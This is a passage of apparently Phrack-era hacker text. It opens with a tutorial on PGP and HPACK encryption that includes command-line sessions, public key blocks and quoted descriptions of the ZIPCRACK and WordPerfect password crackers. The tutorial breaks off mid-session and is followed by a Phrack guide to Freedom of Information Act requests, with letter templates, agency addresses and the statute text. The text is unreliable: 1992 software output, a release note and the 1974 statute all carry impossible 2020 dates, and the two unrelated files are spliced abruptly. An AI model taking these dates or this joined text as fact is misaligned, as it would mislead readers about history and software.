United States are constantly updating and improving the PGP package. PGP handles two very important methods of encryption -- conventional and public key. These are both very important to understand because they protect against completely different things. ----------------------- CONVENTIONAL ENCRYPTION ----------------------- Conventional encryption techniques are easiest to understand. You supply a password and the password you enter encrypts a file or some other sort of data. By re-entering the password, it allows you to recreate the original data. Simple enough concept, just don't give the password to someone you don't trust. If you give the password to the wrong person, your whole business is in jeopardy. Of course, that goes with just about anything you consider important. There are doubtlessly many "secure enough" ciphers which exist right now. Unfortunately, the availability of these methods are somewhat slim because of exportation laws. The "major" encryption programs which I believe are worth talking about here are maintained by people foreign to the USA. The two methods of "conventional" encryption are at least not DES, which qualifies them as okay in my book. This doesn't mean they are impossible to break, but they don't have certain DES limitations which I know exist, such as 8 character password maximum. The methods are: MDC, as available in the package HPACK; and IDEA, as available in Pretty Good Privacy. Once you've installed PGP, we can start by practicing encrypting some typical files on your PC. To conventionally encrypt your AUTOEXEC.BAT file (it won't delete the file after encryption), use the following command: C:\> pgp -c autoexec.bat Pretty Good Privacy 2.1 - Public-key encryption for the masses. (c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 2020/01/19 03:06 GMT You need a pass phrase to encrypt the file. Enter pass phrase: { Password not echoed } Enter same pass phrase again: Just a moment.... Ciphertext file: autoexec.pgp C:\> dir Volume in drive C is RACK'S Directory of c:\autoexec.pgp autoexec.pgp 330 1-18-93 21:05 330 bytes in 1 file(s) 8,192 bytes allocated 52,527,104 bytes free PGP will compress the file before encrypting it. I'd say this is a vulnerability to the encryption on the basis that the file contains a ZIP file signature which could conceivably make the overall encryption less secure. Although no reports have been made of someone breaking PGP this way, I'd feel more comfortable with the ZIP features turned off. This is somewhat contrary to the fact that redundancy checking is another way of breaking ciphertext. However, it isn't as reliable as checking a ZIP signature. Although PGP will doubtlessly become the more popular of the two programs, HPACK's encryption "strength" is that by being less popular, it will probably not be as heavily researched as PGP's methods will be. Of course, by following PGP, new methods of encryption will doubtlessly be added as the program is improved. Here is how you'd go about encrypting an entire file using the HPACK program using the MDC "conventional" encryption: C:\> hpack A -C secret.hpk secret.txt HPACK - The multi-system archiver Version 0.78a0 (shareware version) For Amiga, Archimedes, Macintosh, MSDOS, OS/2, and UNIX Copyright (c) Peter Gutmann 1989 - 1992. Release date: 1 Sept 2020 Archive is 'SECRET.HPK' Please enter password (8..80 characters): Reenter password to confirm: Adding SECRET .TXT Done Anyway, I don't personally think HPACK will ever become truly popular for any reason besides its encryption capabilities. ZIP has been ported to an amazing number of platforms, in which lies ZIP's encryption weakness. If you think ZIP is safe, remember that you need to prevent the possibility of four years of attempted password cracking in order to beat the Statutes of Limitations: Here is the introduction to ZIPCRACK, and what it had to say about how easy it is to break through this barrier: (Taken from ZIPCRACK.DOC) ----- ZIPCRACK is a program designed to demonstrate how easy it is to find passwords on files created with PKZIP. The approach used is a fast, brute-force attack, capable of scanning thousands of passwords per second (5-6000 on an 80386-33). While there is currently no known way to decrypt PKZIP's files without first locating the correct password, the probability that a particular ZIP's password can be found in a billion-word search (which takes about a day on a fast '486) is high enough that anyone using the encryption included in PKZIP 1.10 should be cautious (note: as of this writing, PKZIP version 2.00 has not been released, so it is not yet known whether future versions of PKZIP will use an improved encryption algorithm). The author's primary purpose in releasing this program is to encourage improvements in ZIP security. The intended goal is NOT to make it easy for every computer user to break into any ZIP, so no effort has been made to make the program user-friendly. ----- End Blurb Likewise, WordPerfect is even more vulnerable. I've caught a copy of WordPerfect Crack out on the Internet and here is what it has to say about WordPerfect's impossible-to-break methods: (Taken from WPCRACK.DOC:) ----- WordPerfect's manual claims that "You can protect or lock your documents with a password so that no one will be able to retrieve or print the file without knowing the password - not even you," and "If you forget the password, there is absolutely no way to retrieve the document." [1] Pretty impressive! Actually, you could crack the password of a Word Perfect 5.x file on a 8 1/2" x 11" sheet of paper, it's so simple. If you are counting on your files being safe, they are NOT. Bennet [2] originally discovered how the file was encrypted, and Bergen and Caelli [3] determined further information regarding version 5.x. I have taken these papers, extended them, and written some programs to extract the password from the file. ----- End Blurb --------------------- PUBLIC KEY ENCRYPTION --------------------- Back to the Masters of Deception analogy -- they were telephone tapped. Conventional encryption is good for home use, because only one person could possibly know the password. But what happens when you want to transmit the encrypted data by telephone? If the Secret Service is listening in on your phone calls, you can't tell the password to the person that you want to send the encrypted information to. The SS will grab the password every single time. Enter Public-Key encryption! The concepts behind Public-Key are very in-depth compared to conventional encryption. The idea here is that passwords are not exchanged; instead a "key" which tells HOW to encrypt the file for the other person is given to them. This is called the Public Key. You retain the PRIVATE key and the PASSWORD. They tell you how to decrypt the file that someone sent you. There is no "straight" path between the Public Key and the Private Key, so just because someone HAS the public key, it doesn't mean they can produce either your Secret Key or Password. All it means is that if they encrypt the file using the Public Key, you will be able to decrypt it. Furthermore, because of one-way encryption methods, the output your Public Key produces is original each time, and therefore, you can't decrypt the information you encrypted with the Public Key -- even if you encrypted it yourself! Therefore, you can freely give out your own Public Key to anyone you want, and any information you receive, tapped or not, won't make a difference. As a result, you can trade anything you want and not worry about telephone taps! This technique supposedly is being used to defend the United States' Nuclear Arsenal, if you disbelieve this is secure. I've actually talked with some of the makers of the RSA "Public-Key" algorithm, and, albeit they are quite brilliant individuals, I'm somewhat miffed at their lack of enthusiasm for aiding the public in getting a hold of tools to use Public Key. As a result, they are about to get railroaded by people choosing to use PGP in preference to squat. Okay, maybe they don't have "squat" available. In fact, they have a totally free package with source code available to the USA public (no exportation of code) which people can use called RSAREF. Appendix E explains more about why I'm not suggesting you use this package, and also how to obtain it so you can see for yourself. Now that we know the basic concepts of Public-Key, let's go ahead and create the basics for effective tap-proof communications. Generation of your own secret key (comments in {}s): C:\> pgp -kg { Command used to activate PGP for key generation } Pretty Good Privacy 2.1 - Public-key encryption for the masses. (c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 2020/01/18 19:53 GMT Pick your RSA key size: 1) 384 bits- Casual grade, fast but less secure 2) 512 bits- Commercial grade, medium speed, good security 3) 1024 bits- Military grade, very slow, highest security Choose 1, 2, or 3, or enter desired number of bits: 3 {DAMN STRAIGHT MILITARY} Generating an RSA key with a 1024-bit modulus... You need a user ID for your public key. The desired form for this user ID is your name, followed by your E-mail address enclosed in , if you have an E-mail address. For example: John Q. Smith <12345.6789@compuserve.com> Enter a user ID for your public key: The Racketeer You need a pass phrase to protect your RSA secret key. Your pass phrase can be any sentence or phrase and may have many words, spaces, punctuation, or any other printable characters. Enter pass phrase: { Not echoed to screen } Enter same pass phrase again: { " " " " } Note that key generation is a VERY lengthy process. We need to generate 105 random bytes. This is done by measuring the time intervals between your keystrokes. Please enter some text on your keyboard, at least 210 nonrepeating keystrokes, until you hear the beep: 1 .* { decrements } -Enough, thank you. ..................................................++++ ........++++ Key generation completed. It took a 33-386DX a grand total of about 10 minutes to make the key. Now that it has been generated, it has been placed in your key ring. We can examine the key ring using the following command: C:\> pgp -kv Pretty Good Privacy 2.1 - Public-key encryption for the masses. (c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 2020/01/18 20:19 GMT Key ring: 'c:\pgp\pubring.pgp' Type bits/keyID Date User ID pub 1024/7C8C3D 2020/01/18 The Racketeer 1 key(s) examined. We've now got a viable keyring with your own keys. Now, you need to extract your Public Key so that you can have other people encrypt shit and have it sent to you. In order to do this, you need to be able to mail it to them. Therefore, you need to extract it in ASCII format. This is done by the following: C:\> pgp -kxa "The Racketeer " Pretty Good Privacy 2.1 - Public-key encryption for the masses (c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 2020/01/18 20:56 GMT Extracting from key ring: 'c:\pgp\pubring.pgp', userid "The Racketeer ". Key for user ID: The Racketeer 1024-bit key, Key ID 0C975F, created 2020/01/18 Extract the above key into which file? rackkey Transport armor file: rackkey.asc Key extracted to file 'rackkey.asc'. Done. The end result of the key is a file which contains: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.1 mQCNAisuyi4AAAEEAN+cY6nUU+VIhYOqBfcc12rEMph+A7iadUi8xQJ00ANvp/iF +ugZ+GP2ZnzA0fob9cG/MVbh+iiz3g+nbS+ZljD2uK4VyxZfu5alsbCBFbJ6Oa8K /c/e19lzaksSlTcqTMQEae60JUkrHWpnxQMM3IqSnh3D+SbsmLBs4pFrfIw9AAUR tCRUaGUgUmFja2V0ZWVyIDxyYWNrQGx5Y2FldW0uaGZjLmNvbT4= =6rFE -----END PGP PUBLIC KEY BLOCK----- This can be tagged to the bottom of whatever E-Mail message you want to send or whatever. This key can added to someone else's public key ring and thereby used to encrypt information so that it can be sent to you. Most people who use this on USENET add it onto their signature files so that it is automatically posted on their messages. Let's assume someone else wanted to communicate with you. As a result, they sent you their own Public Key: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.1 mQA9AitgcOsAAAEBgMlGLWl8rub0Ulzv3wpxI5OFLRkx3UcGCGsi/y/Qg7nR8dwI owUy65l9XZsp0MUnFQAFEbQlT25lIER1bWIgUHVkIDwxRHVtUHVkQG1haWxydXMu Yml0bmV0Pg== =FZBm -----END PGP PUBLIC KEY BLOCK----- Notice this guy, Mr. One Dumb Pud, used a smaller key size than you did. This shouldn't make any difference because PGP detects this automatically. Let's now add the schlep onto your key ring. C:\> pgp -ka dumbpud.asc Pretty Good Privacy 2.1 - Public-key encryption for the masses. (c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 2020/01/22 22:17 GMT Key ring: 'c:\pgp\pubring.$01' Type bits/keyID Date User ID pub 384/C52715 2020/01/22 One Dumb Pud <1DumPud@mailrus.bitnet> New key ID: C52715 Keyfile contains: 1 new key(s) Adding key ID C52715 from file 'dumbpud.asc' to key ring 'c:\pgp\pubring.pgp'. Key for user ID: One Dumb Pud <1DumPud@mailrus.bitnet> 384-bit key, Key ID C52715, crated 2020/01/22 This key/userID associate is not certified. Do you want to certify this key yourself (y/N)? n {We'll deal with this later} Okay, now we have the guy on our key ring. Let's go ahead and encrypt a file for the guy. How about having the honor of an unedited copy of this file? C:\> pgp -e encrypt One {PGP has automatic name completion} Pretty Good Privacy 2.1 - Public-key encryption for the masses. (c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 2020/01/22 22:24 GMT Recipient's public key will be used to encrypt. Key for user ID: One Dumb Pud <1DumPud@mailrus.bitnet> 384-bit key, Key ID C52715, created 2020/01/22 WARNING: Because this public key is not certified with a trusted signature, it is not known with high confidence that this public key actually belongs to: "One Dumb Pud <1DumPud@mailrus.bitnet>". Are you sure you want to use this public key (y/N)? y ------------------------------------------------------------------------------ ==Phrack Magazine== Volume Four, Issue Forty-Two, File 12 of 14 %@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% | The Freedom of Information Act and You | | | | by | | Vince Niel | | | %@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% As we all know of our United State government in the modern era, Big Brother is watching. It is naive to think that we do not live in a world similar to the one described is George Orwell's novel, 1984. The government keeps tabs on everything we do. The federal government has thousands of documents concerning individual citizens. For example: If you have worked for a federal agency or government contractor or have been a member of any branch of the armed services, the federal government has a file on you. If you have participated in any federally financed project, some agency probably has a record of it. If you have been arrested by local, state or federal authorities and your fingerprints were taken, the FBI maintains a record of you and that arrest. If you have applied for or received a student loan or grant certified by the government, the Department of Health, Education, and Welfare has recorded the information. If you have applied for or been investigated for a security clearance for any reason, the Department of Defense has a record of you. And these records are not just records of application. Take for example the FBI. Once you commit a crime, they are watching you. They update your file every time there is a major occurrence in your life i.e. marriage, hospitalization, joining the military, committing another crime, etc. If they find the least likelihood of suspicion, they investigate you in depth to add even more to your file. People do not even realize how large their FBI file is. If you were ever on a pirate board that got busted, and you had your info on there, all the users' info on the bulletin board is transferred to the federal government. There a file is opened up for each individual user. And if you ever get in trouble with the law, that file will be opened up and used against you if necessary. Before I continue, I would like to site an example of a man who ordered his file from the army. This file was created when he applied for a security clearance with the military years before. In it said: .. He owed 50 cents to his high school for not returning his locker key. .. He dated 2 or 3 times a week, and was not intimate with his dates. .. He was irresponsible because he owed a $5 jaywalking ticket in Seattle. So what can you do about this big bureaucratic machine we call our government? Simple, fight back! The Freedom of Information Act (FOIA as it will be referred to) was passed and allows you to obtain your personal records from any governmental agency. A typeup of most of the agencies plus the actual act can be found at the end of this file. There are restrictions to the act, but it can be quite useful to any individual who has had run-ins with the law or who just wants to know what the federal government has on him. You can even go to court against the government if a document is denied to you and you think you deserve to see it. The act is not widely know, and for good reason. The government doesn't want you to know what they are doing. But alas, the information will be set free, the people have a right to know! And don't think that the only interesting documents are the ones from the FBI and CIA. Fascinating documents can be gotten from the IRS, Department of Health, Department of Schools, Federal Traffic Administration, HUD, National Credit Union, with information you will never believe people who actually store about you. The Specifics of Asking For Your Personal File From a Particular Agency ----------------------------------------------------------------------- First of all, I would like to bring up a major misconception people make. Most people assume that if you ask for your file from the FBI, and there isn't a file on you, one will be created for you. That is an untrue and extremely paranoid statement. The government has better things to do then open up files on curious citizens. And even if by some remote chance they do open up a file for you, who cares? They have a files on millions of people, its not like it will hinder you in life. Just be careful out there, that is all I can say. The most important thing that can be done when asking for information from a governmental agency under the FOIA is to make it as brief, concise, and specific as possible. In this way, you will get your information, or refusal as soon as possible, and you will also curb copying fees (which will be discussed later). First you have to find the agency that concerns you. If you are not sure which agency to apply to, send your letter to more than one. There will be a list of agencies at the end of this file, but a complete list of agencies can be found in the United States Government Manual. This can be found at any library. The request should be addressed to the agency's FOIA officer or to the head of the specific agency. Most agencies have a secretary to deal with all the FOIA applications. The smaller agencies, which you probably will not be concerned with, might not have an officer. On the bottom left hand corner of the envelope "Freedom of Information Act Request" should be printed legibly. This guarantees that your letter won't get caught in the paperwork shuffle. All agencies has FOIA regulation that you should look at. They do not want to send out 'sensitive' documents and whatnot. These regulations also describe the request process in detail. Here you can also find out what specific document you are looking for, reducing fees from the agency. These regulations can be found in "The Code of Federal Regulations", which can also be found at your local library. Most agencies require that you get your letter 'notarized' or they won't even look at it. This prevents you from impersonating someone else and getting their file. To get your letter notarized, all you have to do is go to your local bank. Show some proof that the person signing the letter is you (with an id or something) and they will notarize it. Now the government has no excuse for not taking your letter. There are four parts to an FOIA request letter: 1) Request being made under the FOIA. 2) Records that are sought, as specifically as possible. 3) Name and address of the person requesting the information. Telephone number is not necessary, but you will find out about the outcome of your request much quicker. 4) How much money you are willing to spend for the document (explained later). Here is a sample letter, just fill in your information: ----------------------------------------------------------------------------- Agency Head [or Freedom of Information Act Officer] Name of Agency Address of Agency City, State, Zip Code Re: Freedom of Information Act Request I request a copy of the following documents [or documents containing the following information if you do not know the specific name of the document] be provided for me: [identify the documents as accurately as possible] In order to help determine my status to assess fees, you should know that I am an individual seeking information for personal use and not for commercial use. [always, always say you are an individual. That way, you will not have to pay extra fees because you are part of the media or a commercial endeavor.] [Optional] I am willing to pay fees for this request up to a maximum of $__. If you estimate the fees will exceed this limit, please inform me first. [Optional] I request a waiver of all fees for this request. Disclosure of the requested information to me is in the public interest because it is likely to contribute significantly to public understanding of the operations or activities of the government and is not primarily in my commercial interest [include specific information]. Thank you for your consideration of this request. Sincerely, Name Address City, State, Zip Code Telephone Number [Optional] ----------------------------------------------------------------------------- Some of the things in the letter may not be understood at first, but I will get to them. Money: As you might have guessed, getting information under the FOIA is not free, but it can be cheapened if you play your cards right. As specified in the letter, always say that you are an individual seeking information not for commercial purposes. Review is the process of going through documents and checking if they can be sent to you or not. Under the law, if you are a private individual and are not requesting information for commercial purposes, you cannot be charged with review fees! All agencies have set fees for copying a document. Fees can also be taken for searching for a document. If you are an individual, you will be charged the least amount of money. Of course, if you have no idea in hell what the name of the document is, and you are stabbing in the dark it is a good idea to write in a set amount you are willing to spend. When the amount is reached, you will be notified. This is in the letter above. You don't want to be jacked for a bill of 150 bucks if you send them a letter 'just send me everything you got on me'. Even if you have no idea what they have, you can say 'please send me all the dossiers, legal documents, and records you have under my name'. Remember, the government likes bureaucratic bullshit. If you do not phrase you letter right, they will nail you on it. A lot of agencies will waive the cost of processing if it is under $3, and even if you receive a bill, it should not exceed 5-10 dollars. If you can somehow prove that by accessing this information, it will help the general public understand how the government works, you can waive the fee altogether. If through some form of shrewd doublespeak you can think of something clever to satisfy this obligation, you can then request huge amounts of documents, without paying a cent for them. Restrictions: Of course, there are restrictions to the Freedom of Information Act. Some documentation may be said to be sensitive and out of reach of the public eye. Any refusal to grant information through the FOIA may be taken to court, and won. In the act, it states that cases brought up because of the FOIA should be put first on the court docket and tried as soon as possible. Its always worth a try. When a record contains some information that is withheld, it does not necessarily mean that the whole record is exempt. The federal agency is obliged to cut out the portion that is sensitive, and send you the portion it can disclose. The agency must also give you a reason why it cut out this portion of the document. Here are a few of the reasons for exemption: 1) Classified Documents - Classified Documents may be withheld. The documents may be classified in the interest of national defense and foreign policy. Classified documents may still be requested. The agency will review the document to determine whether it still needs protection. If a requested document is already declassified, it can be easily requested. 2) Internal Personal Rules and Practices - This exemption covers matters related to an agency's internal rules and practices. Requests for Internal schedules, administrative manuals and the like can be refused. 3) Confidential Business Information - Trade secrets or commercially valuable plans do not have to be released. Commercial or financial information does not also have to be released, as it might hurt an individual. 4) Personal Privacy - This covers personnel, medical, and similar files of which disclosed would interfere with personal privacy. This exemption has importance because it prevents a commercial business from getting information about you. At the same time, it allows you to get private information stored about yourself. This is why it is important to get your letter notarized. 5) Law Enforcement - This allows law enforcement agencies to withhold law enforcement records in order to protect themselves and others. If there is a trial going on, you can't request your file. Its smart to get your file from the feds now, while you still can. Don't wait until you get in some serious shit, and then you don't even know what they have on you! If you know what they have on you, you know how to fight back. If you request does get refused, there is still hope. If you think that under the FOIA's legal terms you deserve to have the document, you can send a letter of appeal. This letter can also be used to argue that their processing charge was unfair. The appeal letter is shown below: ------------------------------------------------------------------------------ Agency Head or Appeal Officer Name of Agency Address of Agency City, State, Zip Code Re: Freedom of Information Act Appeal Dear: This is an appeal under the Freedom of Information Act. On (date), I requested documents under the Freedom of Information Act. My request was assigned the following identification number: ______. On (date), I received a response to my request in a letter signed by (name of official). I appeal the denial of my request. [Optional] The documents that were withheld must be disclosed under the FOIA because... [Optional] I appeal the decision to deny my request for a waiver of fees. I believe that I am entitles to a waiver of fees. Disclosure of the documents I requested is in the public interest because the information is likely to contribute significantly to public understanding of the operations or activities of government and is not primarily in my commercial interest. (Provide Details) [Optional] I appeal the decision to require me to pay review costs for this request. I am not seeking this document for commercial use. (Provide Details) Thank you for your consideration of this appeal. Sincerely, Name Address City, State, Zip Code Telephone Number [Optional] ------------------------------------------------------------------------------ Here is a listing of a few government agencies that hold records on individual citizens: Agriculture Department of Agriculture Washington, D.C. 20250 Air Force Department of the Air Force The Pentagon Washington, D.C. 20330 Alcohol, Drug Abuse, and Mental Health Alcohol, Drug Abuse, and Mental Health Administration 5600 Fisher Lane Rockville, Maryland 20857 Alcohol, Tobacco and Firearms Bureau of Alcohol, Tobacco, and Firearms 1200 Pennsylvania Avenue, N.W. Washington, D.C. 20226 American Battle Monuments American Battle Monuments Commission: 40014 Forrestal Bldg. Washington, D.C. 20314 Appalachian Regional Appalachian Regional Commission: 1666 Connecticut Avenue, N.W. Washington, D.C. 20235 Arms Control and Disarmament U.S. Army Control and Disarmament Agency 320 21st Street Washington, D.C. 20451 Army Department of the Army The Pentagon Washington, D.C. 20314 Census Bureau of the Census Federal Building 3 Washington, D.C. 20233 CIA Central Intelligence Agency Washington, D.C. 20505 Civil Aeronautics Civil Aeronautics Board 1825 Connecticut Avenue, N.W. Washington, D.C. 20428 Civil Rights Civil Rights Commission 1121 Vermont Avenue, N.W. Washington, D.C. 20425 Civil Service Civil Service Commission 1900 E Street, N.W. Washington, D.C. 20415 Coastal Plains Coastal Plains Regional Commission 1725 K Street, N.W. Washington, D.C. 20006 Commerce Department of Commerce Washington, D.C. 20230 Community Services Community Services Administration 1200 19th Street, N.W. Washington, D.C. 20506 Consumer Product Safety Consumer Product Safety Commission 1111 18th Street, N.W. Washington, D.C. 20207 Copyright Office Copyright Office Library of Congress Washington, D.C. 20559 Customs Service U.S. Customs Service 1301 Constitution Avenue, N.W. Washington, D.C. 20229 Defense Department of Defense The Pentagon Washington, D.C. 20301 Defense Contracts Audits Defense Contracts Audits Agency Cameron Station Alexandria, Virginia 22314 Defense Intelligence Defense Intelligence Agency RDS-3A Washington, D.C. 20301 Defense Investigation Defense Investigative Services D0020 Washington, D.C. 20304 Defense Logistical Defense Logistical Agency Cameron Station Alexandria, Virginia, 22314 Defense Mapping Defense Mapping Agency Naval Observatory Washington, D.C. 20305 Disease Control Center for Disease Control Atlanta, Georgia 30333 Economic Development Economic Development Administration Department of Commerce 14th & Constitution Avenue, N.W. Washington, D.C. 20230 Education Office of Education 400 Maryland Avenue, S.W. Washington, D.C. 20202 Energy Department of Energy U.S. Department of Energy Washington, D.C. 20461 EPA Environmental Protection Agency 401 M Street, S.W. Washington, D.C. 20460 Environmental Quality Council on Environmental Quality 722 Jackson Place, N.W. Washington, D.C. 20006 Equal Employment Opportunity Equal Employment Opportunity Commission 2401 E Street, N.W. Washington, D.C. 20506 Export-Import Bank Export-Import Bank of the U.S. 811 Vermont Avenue, N.W. Washington, D.C. 20571 FAA Federal Aviations Administration 800 Independence Avenue, S.W. Washington, D.C. 20591 FBI Federal Bureau of Investigation 9th and Pennsylvania Avenue, N.W. Washington, D.C. 20535 FCC Federal Communications Commission 1919 M Street, N.W. Washington, D.C. 20554 Federal Elections Federal Election Commission 550 17th Street, N.W. Washington, D.C. 20463 Federal Highways Federal Highway Administration 400 7th Street, S.W. Washington, D.C. 20590 Federal Power Federal Power Commission 825 North Capitol Street Washington, D.C. 20426 Federal Trade Federal Trade Commission 6th and Pennsylvania Avenue, N.W. Washington, D.C. 20580 Food and Drug Food and Drug Administration 5600 Fisher Lane Rockville, Maryland 20857 Foreign Claims Settlement Foreign Claims Settlement Commission 1111 20th Street, N.W. Washington, D.C. 20579 General Accounting General Accounting Office 441 G. Street, N.W. Washington, D.C. 20548 General Services General Services Administration 18th and F Streets, N.W. Washington, D.C. 20405 Health, Education, and Welfare U.S. Department of Health, Education, and Welfare 200 Independence Avenue, S.W. Washington, D.C. 20201 Health Resources Health Resources Administration 3700 East West Highway Hyattsville Maryland 20782 Health Services Health Services Administration 5600 Fisher Lane Rockville, Maryland 20857 HUD Department of Housing and Urban Development Washington, D.C. 20410 Immigration and Naturalization Immigration and Naturalization Service 425 I Street, N.W. Washington, D.C. 20536 Information Agency U.S. Information Agency 1750 Pennsylvania Avenue, N.W. Washington, D.C. 20547 Interior Department of the Interior 18th and C Street, N.W. Washington, D.C. 20240 IRS Internal Revenue Service 1111 Constitution Avenue, N.W. Washington, D.C. 20224 International Development Agency for International Development 21st and Virginia Avenue, N.W. Washington, D.C. 20532 International Trade International Trade Commission 701 E Street, N.W. Washington, D.C. 20436 ICC Interstate Commerce Commission 12th and Constitutional Avenue, N.W. Washington, D.C. 20423 Justice Department of Justice Washington, D.C. 20530 Labor Department of Labor Washington, D.C. 20210 Law Enforcement Assistance Law Enforcement Assistance Administration 633 Indiana Avenue, N.W. Washington, D.C. 20230 National Aeronautics and Space National Aeronautics and Space Administration 400 Maryland Avenue, S.W. Washington, D.C. 20546 National Archives and Records National Archives and Records Service Washington, D.C. 20408 National Credit Union National Credit Union Administration 2025 M Street, N.W. Washington, D.C. 20506 National Endowment for the Arts National Endowment for the Arts 806 15th Street, N.W. Washington, D.C. 20506 National Endowment for Humanities National Endowment for Humanities 806 15th Street, N.W. Washington, D.C. 20506 National Highway Traffic Safety National Highway Traffic Safety Administration 400 7th Street, S.W. Washington, D.C. 20590 National Institute of Education National Institute of Education 1200-19th Street, N.W. Washington, D.C. 20208 National Institute of Health National Institute of Health 9000 Rockville Pike Rockville, Maryland 20014 National Labor Relations National Labor Relations Board 1717 Pennsylvania Avenue, N.W. Washington, D.C. 20570 National Science Foundation National Science Foundation 1800 G Street, N.W. Washington, D.C. 20550 National Security Agency National Security Agency Fort George Meade, Maryland 20755 National Security Council National Security Council Old Executive Office Building Washington, D.C. 20506 National Transportation Safety National Transportation Safety Board 800 Independence Avenue, S.W. Washington, D.C. 20594 Navy Department of the Navy The Pentagon Washington, D.C. 20350 Nuclear Regulation Nuclear Regulatory Commission Washington, D.C. 20555 Overseas Private Investment Overseas Private Investment Corporation 1129 20th Street, N.W. Washington, D.C. 20527 Postal Service U.S. Postal Service 475 L'Enfant Plaza, S.W. Washington, D.C. 20260 Prisons Bureau of Prisons 320 First Street, N.W. Washington, D.C. 20534 Public Health Public Health Service 200 Independence Avenue, S.W. Washington, D.C. 20201 Secret Service U.S. Secret Service 1800 G Street, N.W. Washington, D.C. 20223 Securities and Exchange Securities and Exchange Commission 500 North Capitol Street Washington, D.C. 20435 Selective Service Selective Service System 600 E Street, N.W. Washington, D.C. 20435 Small Business Small Business Administration 1441 L Street, N.W. Washington, D.C. 20416 Social Security Social Security Administration 6401 Security Blvd. Baltimore, Maryland 21235 State Department of State Washington, D.C. 20520 Transportation Department of Transportation 400 7th Street, S.W. Washington, D.C. 20590 Treasury Department of the Treasury 1500 Pennsylvania Avenue, N.W. Washington, D.C. 20220 Urban Mass Transit Urban Mass Transit Administration 400 7th Avenue, S.W. Washington, D.C. 20590 Veterans Administration Vermont Avenue, N.W. Washington, D.C. 20420 Here is a copy of the Freedom of Information Act and all of its amendments. It may prove to have some usefulness. You might want to read through it to understand the law better. I would not recommend reading it if you are in a suicidal state. ------------------------------------------------------------------------------ FULL TEXT OF FREEDOM OF INFORMATION ACT, AS AMENDED IN 1974 BY PUBLIC LAW 93-502 % 552 Public Information; agency rules, opinions, orders, records, and proceedings (a) Each agency shall make available to the public information as follows: (1) Each agency shall separately state and currently publish in the Federal Register for the guidance of the public- (A) descriptions of its central and field organization and the established places at which, the employees (and in the case of a uniformed service, the members) from whom, and the method whereby, the public may obtain information, make submittals or requests, or obtain decisions; (B) statements of the general course and method by which its functions are channeled and determined, including the nature and requirements of all formal and informal procedures available; (C) rules of procedures, descriptions of forms available or the places at which forms may be obtained, and instructions as to the scope and contents of all papers, reports, or examinations; (D) substantive rules of general applicability adopted as authorized by law, and statements of general policy or interpretations of general applicability formulated and adopted by the agency; and (E) each amendment, revision, or repeal of the foregoing. Except to the extent that a person has actual and timely notice of the terms thereof, a person may not in any manner be required to resort to, or be adversely affected by, a matter required to be published in the Federal Register and not so published. For the purpose of this paragraph matter reasonably available to the class of persons affected thereby is deemed published in the Federal Register when incorporated by reference therein with the approval of the Director of the Federal Register. (2) Each agency, in accordance with published rules, shall make available for public inspection and copying- (A) final opinions, including concurring and dissenting opinions, as well as orders, made in the adjudication of cases; (B) those statements of policy and interpretations which have been adopted by the agency and are not published in the Federal Register; and (C) administrative staff manuals and instructions to staff that affect a member of the public; unless the materials are promptly published and copies offered for sale. To the extent required to prevent a clearly unwarranted invasion of personal privacy, an agency may delete identifying details when it makes available or publishes an opinion, statement of policy, interpretation, or staff manual or instruction. However, inn each case the justification for the deletion shall be explained clearly in writing. Each agency shall also maintain and make available for public inspection and copying current indexes providing identifying information for the public as to any matter issued, adopted, or promulgated after July 4, 2020, and required by this paragraph to be made available or published. Each agency shall promptly, quarterly or more frequently, and distribute (by sale or otherwise) copies of each index or supplement thereto unless it determines by order published in the Federal Register that the publication would be unnecessary and impracticable, in which case the agency shall nonetheless provide copies of such index on request at a cost not to exceed the direct cost of duplication. A final order, opinion, statement of policy, interpretation, or staff manual or instruction that affects a member of the public may be relied on, used, or cited as precedent by an agency against a party other than an agency only if- (i) it has been indexed and either made available or published as provided by this paragraph; or (ii) the party has actual and timely notice of the terms thereof. (3) Except with respect to the records made available under paragraphs (1) and (2) of this subsection, each agency, upon any request for records which (A) reasonably describes such records and (B) is made in accordance with published rules stating the time, place, fees (if any), and procedures to be followed, shall make the records promptly available to any person. (4)(A) In order to carry out the provisions of this section, each agency shall promulgate regulations, pursuant to notice and receipt of public comment, specifying a uniform schedule of fees applicable to all constituent units of such agency. Such fees shall be limited to reasonable standard charges for documents search and duplication and provide for recovery of only the direct costs of such search and duplication. Documents shall be furnished without charge or at a reduced charge where the agency determines that waiver or reduction of the fee is in the public interest because furnishing the information can be considered as primarily benefiting the general public. (B) On complaint, the district court of the United States in the district in which the complainant resides, or has his principal place of business, or in which the agency records are situated, or in the District of Columbia, has jurisdiction to enjoin the agency from withholding agency records and to order the production of any agency records improperly withheld from the complainant. In such a case the court shall determine the matter de novo, and may examine the contents of such agency records in camera to determine whether such records or any part thereof shall be withheld under any of the exemptions set forth in subsection (b) of this section, and the burden is on the agency to sustain its action. (C) Notwithstanding any other provision of law, the defendant shall serve an answer or otherwise plead to any complaint made under the subsection within thirty days after service upon the defendant of the pleading i which such complaint is made, unless the court otherwise directs for good cause shown. (D) Except as to cases the court considers of greater importance, proceedings before the district court, as authorized by this subsection, and appeals therefrom, take precedence on the docket over all cases and shall be assigned for hearing and trial or for argument at the earliest practicable date and expedited in every way. (E) The court may assess against the United States reasonable attorney fees and other litigation costs reasonably incurred in any case under this section in which the complainant has substantially prevailed. (F) Whenever the court orders the production of any agency records improperly withheld from the complainant and assesses against the United States reasonable attorney fees and other litigation costs, and the court additionally issues a written finding that the circumstances surrounding the withholding raise we questions whether agency personnel acted arbitrarily or capriciously with respect to the withholding, the Civil Service Commission shall promptly initiate a proceeding to determine whether disciplinary action is warranted against the officer or employee who was primarily responsible for the withholding. The Commission, after investigation and consideration of the evidence submitted, shall submit its findings and recommendations to the administrative authority of the agency concerned and shall send copies of the findings and recommendations to the officer or employee or his representative. The administrative authority shall take the corrective action that the Commission recommends. (G) In the event of noncompliance with the order of the court, the district court may 